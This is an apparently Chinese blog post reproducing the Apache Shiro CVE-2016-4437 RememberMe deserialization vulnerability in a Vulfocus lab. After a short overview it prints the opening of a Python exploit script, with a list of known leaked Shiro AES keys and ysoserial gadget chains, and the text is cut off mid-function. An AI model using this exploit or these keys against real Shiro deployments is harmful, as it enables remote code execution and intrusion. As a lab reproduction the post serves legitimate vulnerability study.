shiro-cve_2016_4437漏洞复现

最新推荐文章于 2025-05-10 17:02:36 发布

Criss0101

最新推荐文章于 2025-05-10 17:02:36 发布

阅读量949

点赞数

CC 4.0 BY-SA版权

分类专栏：渗透测试文章标签：安全

本文链接：https://blog.youkuaiyun.com/weixin_42019588/article/details/113395928

本文详细介绍了Apache Shiro的CVE-2016-4437漏洞，这是一个Java反序列化漏洞。内容包括漏洞概述、复现步骤以及总结。通过在Vulfocus平台搭建环境，模拟用户登录并利用Remember Me功能，配合特定的攻击payload，成功触发反序列化漏洞，获取了反弹shell。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

shiro-cve_2016_4437漏洞复现

漏洞概述：

该漏洞发布于2016年6月，属于java反序列化漏洞的一种，Apache Shiro是一个Java安全框架，执行身份验证、授权、密码和会话管理。Apache Shiro框架提供了记住我（RememberMe）的功能，关闭了浏览器下次再打开时还是能记住你是谁，下次访问时无需再登录即可访问。

Shiro对rememberMe的cookie做了加密处理，shiro在CookieRememberMeManaer类中将cookie中rememberMe字段内容分别进行序列化、AES加密、Base64编码操作。只要rememberMe的AES加密密钥泄露，无论shiro是什么版本都会导致反序列化漏洞。使用Shiro的易于理解的API,可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。

漏洞复现：

在vulfocus平台上拉取下载shiro-cve_2016_4437漏洞镜像，并运行漏洞环境

在浏览器访问使用root用户登录，并勾选Remember ME，点击登录

登录成功

在GitHub上下载攻击exp

#! python2.7

import os

import re

import base64

import uuid

import subprocess

import requests

import sys

import json

import time

import random

import argparse

from Crypto.Cipher import AES

JAR_FILE = 'ysoserial.jar'

CipherKeys = [

    "4AvVhmFLUs0KTA3Kprsdag==",

    "3AvVhmFLUs0KTA3Kprsdag==",

    "2AvVhdsgUs0FSA3SDFAdag==",

    "6ZmI6I2j5Y+R5aSn5ZOlAA==",

    "wGiHplamyXlVB11UXWol8g==",

    "cmVtZW1iZXJNZQAAAAAAAA==",

    "Z3VucwAAAAAAAAAAAAAAAA==",

    "ZnJlc2h6Y24xMjM0NTY3OA==",

    "L7RioUULEFhRyxM7a2R/Yg==",

    "RVZBTk5JR0hUTFlfV0FPVQ==",

    "fCq+/xW488hMTCD+cmJ3aQ==",

    "WkhBTkdYSUFPSEVJX0NBVA==",

    "1QWLxg+NYmxraMoxAXu/Iw==",

    "WcfHGU25gNnTxTlmJMeSpw==",

    "a2VlcE9uR29pbmdBbmRGaQ==",

    "bWluZS1hc3NldC1rZXk6QQ==",

    "5aaC5qKm5oqA5pyvAAAAAA==",

    "kPH+bIxk5D2deZiIxcaaaA==",

    #"ZWvohmPdUsAWT3=KpPqda",

    "r0e3c16IdVkouZgk1TKVMg==",

    "ZUdsaGJuSmxibVI2ZHc9PQ==",

    "U3ByaW5nQmxhZGUAAAAAAA==",

    "LEGEND-CAMPUS-CIPHERKEY=="

    #"kPv59vyqzj00x11LXJZTjJ2UHW48jzHN",

    ]

gadgets = ["JRMPClient","BeanShell1","Clojure","CommonsBeanutils1","CommonsCollections1","CommonsCollections2","CommonsCollections3","CommonsCollections4","CommonsCollections5","CommonsCollections6","CommonsCollections7","Groovy1","Hibernate1","Hibernate2","JSON1","JavassistWeld1","Jython1","MozillaRhino1","MozillaRhino2","Myfaces1","ROME","Spring1","Spring2","Vaadin1","Wicket1"]

session = requests.Session()

def genpayload(params, CipherKey,fp):

    g